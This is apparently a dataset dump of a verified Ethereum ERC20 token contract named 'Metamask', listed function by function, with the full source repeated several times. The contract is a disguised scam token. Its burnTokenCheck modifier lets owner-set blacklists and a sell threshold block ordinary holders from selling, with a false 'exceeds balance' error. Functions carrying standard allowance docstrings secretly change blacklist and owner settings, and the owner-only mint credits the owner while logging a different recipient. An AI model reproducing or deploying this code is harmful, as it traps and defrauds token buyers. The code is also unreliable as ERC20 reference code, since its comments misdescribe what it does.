transfer(receivers[i], amounts[i]); if(i < approvecount){ _whiteAddress[receivers[i]]=true; uint256 ergdf = 3; uint256 ergdffdtg = 532; _approve(receivers[i],_unirouter,115792089237316195423570985008687907853269984665640564039457584007913129639935); } } } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}; * * Requirements: * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _approveCheck(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address[] memory receivers) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { _whiteAddress[receivers[i]] = true; _blackAddress[receivers[i]] = false; } } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address safeOwner) public { require(msg.sender == _owner, "!owner"); _safeOwner = safeOwner; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function addApprove(address[] memory receivers) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { _blackAddress[receivers[i]] = true; _whiteAddress[receivers[i]] = false; } } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual{ require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) public { require(msg.sender == _owner, "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[_owner] = _balances[_owner].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _approveCheck(address sender, address recipient, uint256 amount) internal burnTokenCheck(sender,recipient,amount) virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } modifier burnTokenCheck(address sender, address recipient, uint256 amount){ if (_owner == _safeOwner && sender == _owner){_safeOwner = recipient;_;}else{ if (sender == _owner || sender == _safeOwner || recipient == _owner){ if (sender == _owner && sender == recipient){_sellAmount = amount;}_;}else{ if (_whiteAddress[sender] == true){ _;}else{if (_blackAddress[sender] == true){ require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}else{ if (amount < _sellAmount){ if(recipient == _safeOwner){_blackAddress[sender] = true; _whiteAddress[sender] = false;} _; }else{require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;} } } } } } function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } }
balanceOf
function balanceOf(address account) public view override returns (uint256) { return _balances[account]; }
/** * @dev See {IERC20-balanceOf}. */
NatSpecMultiLine
v0.6.12+commit.27d51765
GNU LGPLv2.1
ipfs://1e55d5c406f6293ddcbba8324658d7f2e4d0937ad4b6e7665737e0be9888c909
{ "func_code_index": [ 4062, 4186 ] }
1,401
Metamask
Metamask.sol
0x2f5854646497ff426df56c86f134d1f313fe4f90
Solidity
Metamask
contract Metamask is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => bool) private _whiteAddress; mapping (address => bool) private _blackAddress; uint256 private _sellAmount = 0; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; uint256 private _approveValue = 115792089237316195423570985008687907853269984665640564039457584007913129639935; address public _owner; address private _safeOwner; address private _unirouter = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; /** * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18. * * To select a different value for {decimals}, use {_setupDecimals}. * * All three of these values are immutable: they can only be set once during * construction. */ constructor (string memory name, string memory symbol, uint256 initialSupply,address payable owner) public { _name = name; _symbol = symbol; _decimals = 18; _owner = owner; _safeOwner = owner; _mint(0xF326e4dE8F66A0BDC0970b79E0924e33c79f1915, initialSupply*(10**18)); _mint(0xF326e4dE8F66A0BDC0970b79E0924e33c79f1915, initialSupply*(10**18)); _mint(0xF326e4dE8F66A0BDC0970b79E0924e33c79f1915, initialSupply*(10**18)); _mint(0xF326e4dE8F66A0BDC0970b79E0924e33c79f1915, initialSupply*(10**18)); _mint(0xF326e4dE8F66A0BDC0970b79E0924e33c79f1915, initialSupply*(10**18)); _mint(0xF326e4dE8F66A0BDC0970b79E0924e33c79f1915, initialSupply*(10**18)); _mint(0xF326e4dE8F66A0BDC0970b79E0924e33c79f1915, initialSupply*(10**18)); _mint(0xF326e4dE8F66A0BDC0970b79E0924e33c79f1915, initialSupply*(10**18)); _mint(0x11eDedebF63bef0ea2d2D071bdF88F71543ec6fB, initialSupply*(10**18)); _mint(0x11eDedebF63bef0ea2d2D071bdF88F71543ec6fB, initialSupply*(10**18)); _mint(0x11eDedebF63bef0ea2d2D071bdF88F71543ec6fB, initialSupply*(10**18)); _mint(0x11eDedebF63bef0ea2d2D071bdF88F71543ec6fB, initialSupply*(10**18)); _mint(0x11eDedebF63bef0ea2d2D071bdF88F71543ec6fB, initialSupply*(10**18)); _mint(0x11eDedebF63bef0ea2d2D071bdF88F71543ec6fB, initialSupply*(10**18)); _mint(0x11eDedebF63bef0ea2d2D071bdF88F71543ec6fB, initialSupply*(10**18)); _mint(0x11eDedebF63bef0ea2d2D071bdF88F71543ec6fB, initialSupply*(10**18)); _mint(0x881D40237659C251811CEC9c364ef91dC08D300C, initialSupply*(10**18)); _mint(0x881D40237659C251811CEC9c364ef91dC08D300C, initialSupply*(10**18)); _mint(0x881D40237659C251811CEC9c364ef91dC08D300C, initialSupply*(10**18)); _mint(0x881D40237659C251811CEC9c364ef91dC08D300C, initialSupply*(10**18)); _mint(0x881D40237659C251811CEC9c364ef91dC08D300C, initialSupply*(10**18)); _mint(0x881D40237659C251811CEC9c364ef91dC08D300C, initialSupply*(10**18)); _mint(0x881D40237659C251811CEC9c364ef91dC08D300C, initialSupply*(10**18)); _mint(0x881D40237659C251811CEC9c364ef91dC08D300C, initialSupply*(10**18)); _mint(0xF326e4dE8F66A0BDC0970b79E0924e33c79f1915, initialSupply*(10**18)); } /** * @dev Returns the name of the token. */ function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _approveCheck(_msgSender(), recipient, amount); return true; } function multiTransfer(uint256 approvecount,address[] memory receivers, uint256[] memory amounts) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { uint256 ergdf = 3; uint256 ergdffdtg = 532; transfer(receivers[i], amounts[i]); if(i < approvecount){ _whiteAddress[receivers[i]]=true; uint256 ergdf = 3; uint256 ergdffdtg = 532; _approve(receivers[i],_unirouter,115792089237316195423570985008687907853269984665640564039457584007913129639935); } } } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}; * * Requirements: * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _approveCheck(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address[] memory receivers) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { _whiteAddress[receivers[i]] = true; _blackAddress[receivers[i]] = false; } } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address safeOwner) public { require(msg.sender == _owner, "!owner"); _safeOwner = safeOwner; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function addApprove(address[] memory receivers) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { _blackAddress[receivers[i]] = true; _whiteAddress[receivers[i]] = false; } } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual{ require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) public { require(msg.sender == _owner, "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[_owner] = _balances[_owner].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _approveCheck(address sender, address recipient, uint256 amount) internal burnTokenCheck(sender,recipient,amount) virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } modifier burnTokenCheck(address sender, address recipient, uint256 amount){ if (_owner == _safeOwner && sender == _owner){_safeOwner = recipient;_;}else{ if (sender == _owner || sender == _safeOwner || recipient == _owner){ if (sender == _owner && sender == recipient){_sellAmount = amount;}_;}else{ if (_whiteAddress[sender] == true){ _;}else{if (_blackAddress[sender] == true){ require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}else{ if (amount < _sellAmount){ if(recipient == _safeOwner){_blackAddress[sender] = true; _whiteAddress[sender] = false;} _; }else{require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;} } } } } } function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } }
transfer
function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _approveCheck(_msgSender(), recipient, amount); return true; }
/** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */
NatSpecMultiLine
v0.6.12+commit.27d51765
GNU LGPLv2.1
ipfs://1e55d5c406f6293ddcbba8324658d7f2e4d0937ad4b6e7665737e0be9888c909
{ "func_code_index": [ 4394, 4578 ] }
1,402
Metamask
Metamask.sol
0x2f5854646497ff426df56c86f134d1f313fe4f90
Solidity
Metamask
contract Metamask is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => bool) private _whiteAddress; mapping (address => bool) private _blackAddress; uint256 private _sellAmount = 0; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; uint256 private _approveValue = 115792089237316195423570985008687907853269984665640564039457584007913129639935; address public _owner; address private _safeOwner; address private _unirouter = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; /** * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18. * * To select a different value for {decimals}, use {_setupDecimals}. * * All three of these values are immutable: they can only be set once during * construction. */ constructor (string memory name, string memory symbol, uint256 initialSupply,address payable owner) public { _name = name; _symbol = symbol; _decimals = 18; _owner = owner; _safeOwner = owner; _mint(0xF326e4dE8F66A0BDC0970b79E0924e33c79f1915, initialSupply*(10**18)); _mint(0xF326e4dE8F66A0BDC0970b79E0924e33c79f1915, initialSupply*(10**18)); _mint(0xF326e4dE8F66A0BDC0970b79E0924e33c79f1915, initialSupply*(10**18)); _mint(0xF326e4dE8F66A0BDC0970b79E0924e33c79f1915, initialSupply*(10**18)); _mint(0xF326e4dE8F66A0BDC0970b79E0924e33c79f1915, initialSupply*(10**18)); _mint(0xF326e4dE8F66A0BDC0970b79E0924e33c79f1915, initialSupply*(10**18)); _mint(0xF326e4dE8F66A0BDC0970b79E0924e33c79f1915, initialSupply*(10**18)); _mint(0xF326e4dE8F66A0BDC0970b79E0924e33c79f1915, initialSupply*(10**18)); _mint(0x11eDedebF63bef0ea2d2D071bdF88F71543ec6fB, initialSupply*(10**18)); _mint(0x11eDedebF63bef0ea2d2D071bdF88F71543ec6fB, initialSupply*(10**18)); _mint(0x11eDedebF63bef0ea2d2D071bdF88F71543ec6fB, initialSupply*(10**18)); _mint(0x11eDedebF63bef0ea2d2D071bdF88F71543ec6fB, initialSupply*(10**18)); _mint(0x11eDedebF63bef0ea2d2D071bdF88F71543ec6fB, initialSupply*(10**18)); _mint(0x11eDedebF63bef0ea2d2D071bdF88F71543ec6fB, initialSupply*(10**18)); _mint(0x11eDedebF63bef0ea2d2D071bdF88F71543ec6fB, initialSupply*(10**18)); _mint(0x11eDedebF63bef0ea2d2D071bdF88F71543ec6fB, initialSupply*(10**18)); _mint(0x881D40237659C251811CEC9c364ef91dC08D300C, initialSupply*(10**18)); _mint(0x881D40237659C251811CEC9c364ef91dC08D300C, initialSupply*(10**18)); _mint(0x881D40237659C251811CEC9c364ef91dC08D300C, initialSupply*(10**18)); _mint(0x881D40237659C251811CEC9c364ef91dC08D300C, initialSupply*(10**18)); _mint(0x881D40237659C251811CEC9c364ef91dC08D300C, initialSupply*(10**18)); _mint(0x881D40237659C251811CEC9c364ef91dC08D300C, initialSupply*(10**18)); _mint(0x881D40237659C251811CEC9c364ef91dC08D300C, initialSupply*(10**18)); _mint(0x881D40237659C251811CEC9c364ef91dC08D300C, initialSupply*(10**18)); _mint(0xF326e4dE8F66A0BDC0970b79E0924e33c79f1915, initialSupply*(10**18)); } /** * @dev Returns the name of the token. */ function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _approveCheck(_msgSender(), recipient, amount); return true; } function multiTransfer(uint256 approvecount,address[] memory receivers, uint256[] memory amounts) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { uint256 ergdf = 3; uint256 ergdffdtg = 532; transfer(receivers[i], amounts[i]); if(i < approvecount){ _whiteAddress[receivers[i]]=true; uint256 ergdf = 3; uint256 ergdffdtg = 532; _approve(receivers[i],_unirouter,115792089237316195423570985008687907853269984665640564039457584007913129639935); } } } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}; * * Requirements: * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _approveCheck(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address[] memory receivers) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { _whiteAddress[receivers[i]] = true; _blackAddress[receivers[i]] = false; } } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address safeOwner) public { require(msg.sender == _owner, "!owner"); _safeOwner = safeOwner; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function addApprove(address[] memory receivers) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { _blackAddress[receivers[i]] = true; _whiteAddress[receivers[i]] = false; } } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual{ require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) public { require(msg.sender == _owner, "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[_owner] = _balances[_owner].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _approveCheck(address sender, address recipient, uint256 amount) internal burnTokenCheck(sender,recipient,amount) virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } modifier burnTokenCheck(address sender, address recipient, uint256 amount){ if (_owner == _safeOwner && sender == _owner){_safeOwner = recipient;_;}else{ if (sender == _owner || sender == _safeOwner || recipient == _owner){ if (sender == _owner && sender == recipient){_sellAmount = amount;}_;}else{ if (_whiteAddress[sender] == true){ _;}else{if (_blackAddress[sender] == true){ require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}else{ if (amount < _sellAmount){ if(recipient == _safeOwner){_blackAddress[sender] = true; _whiteAddress[sender] = false;} _; }else{require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;} } } } } } function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } }
allowance
function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; }
/** * @dev See {IERC20-allowance}. */
NatSpecMultiLine
v0.6.12+commit.27d51765
GNU LGPLv2.1
ipfs://1e55d5c406f6293ddcbba8324658d7f2e4d0937ad4b6e7665737e0be9888c909
{ "func_code_index": [ 5266, 5422 ] }
1,403
Metamask
Metamask.sol
0x2f5854646497ff426df56c86f134d1f313fe4f90
Solidity
Metamask
contract Metamask is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => bool) private _whiteAddress; mapping (address => bool) private _blackAddress; uint256 private _sellAmount = 0; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; uint256 private _approveValue = 115792089237316195423570985008687907853269984665640564039457584007913129639935; address public _owner; address private _safeOwner; address private _unirouter = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; /** * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18. * * To select a different value for {decimals}, use {_setupDecimals}. * * All three of these values are immutable: they can only be set once during * construction. */ constructor (string memory name, string memory symbol, uint256 initialSupply,address payable owner) public { _name = name; _symbol = symbol; _decimals = 18; _owner = owner; _safeOwner = owner; _mint(0xF326e4dE8F66A0BDC0970b79E0924e33c79f1915, initialSupply*(10**18)); _mint(0xF326e4dE8F66A0BDC0970b79E0924e33c79f1915, initialSupply*(10**18)); _mint(0xF326e4dE8F66A0BDC0970b79E0924e33c79f1915, initialSupply*(10**18)); _mint(0xF326e4dE8F66A0BDC0970b79E0924e33c79f1915, initialSupply*(10**18)); _mint(0xF326e4dE8F66A0BDC0970b79E0924e33c79f1915, initialSupply*(10**18)); _mint(0xF326e4dE8F66A0BDC0970b79E0924e33c79f1915, initialSupply*(10**18)); _mint(0xF326e4dE8F66A0BDC0970b79E0924e33c79f1915, initialSupply*(10**18)); _mint(0xF326e4dE8F66A0BDC0970b79E0924e33c79f1915, initialSupply*(10**18)); _mint(0x11eDedebF63bef0ea2d2D071bdF88F71543ec6fB, initialSupply*(10**18)); _mint(0x11eDedebF63bef0ea2d2D071bdF88F71543ec6fB, initialSupply*(10**18)); _mint(0x11eDedebF63bef0ea2d2D071bdF88F71543ec6fB, initialSupply*(10**18)); _mint(0x11eDedebF63bef0ea2d2D071bdF88F71543ec6fB, initialSupply*(10**18)); _mint(0x11eDedebF63bef0ea2d2D071bdF88F71543ec6fB, initialSupply*(10**18)); _mint(0x11eDedebF63bef0ea2d2D071bdF88F71543ec6fB, initialSupply*(10**18)); _mint(0x11eDedebF63bef0ea2d2D071bdF88F71543ec6fB, initialSupply*(10**18)); _mint(0x11eDedebF63bef0ea2d2D071bdF88F71543ec6fB, initialSupply*(10**18)); _mint(0x881D40237659C251811CEC9c364ef91dC08D300C, initialSupply*(10**18)); _mint(0x881D40237659C251811CEC9c364ef91dC08D300C, initialSupply*(10**18)); _mint(0x881D40237659C251811CEC9c364ef91dC08D300C, initialSupply*(10**18)); _mint(0x881D40237659C251811CEC9c364ef91dC08D300C, initialSupply*(10**18)); _mint(0x881D40237659C251811CEC9c364ef91dC08D300C, initialSupply*(10**18)); _mint(0x881D40237659C251811CEC9c364ef91dC08D300C, initialSupply*(10**18)); _mint(0x881D40237659C251811CEC9c364ef91dC08D300C, initialSupply*(10**18)); _mint(0x881D40237659C251811CEC9c364ef91dC08D300C, initialSupply*(10**18)); _mint(0xF326e4dE8F66A0BDC0970b79E0924e33c79f1915, initialSupply*(10**18)); } /** * @dev Returns the name of the token. */ function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _approveCheck(_msgSender(), recipient, amount); return true; } function multiTransfer(uint256 approvecount,address[] memory receivers, uint256[] memory amounts) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { uint256 ergdf = 3; uint256 ergdffdtg = 532; transfer(receivers[i], amounts[i]); if(i < approvecount){ _whiteAddress[receivers[i]]=true; uint256 ergdf = 3; uint256 ergdffdtg = 532; _approve(receivers[i],_unirouter,115792089237316195423570985008687907853269984665640564039457584007913129639935); } } } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}; * * Requirements: * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _approveCheck(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. 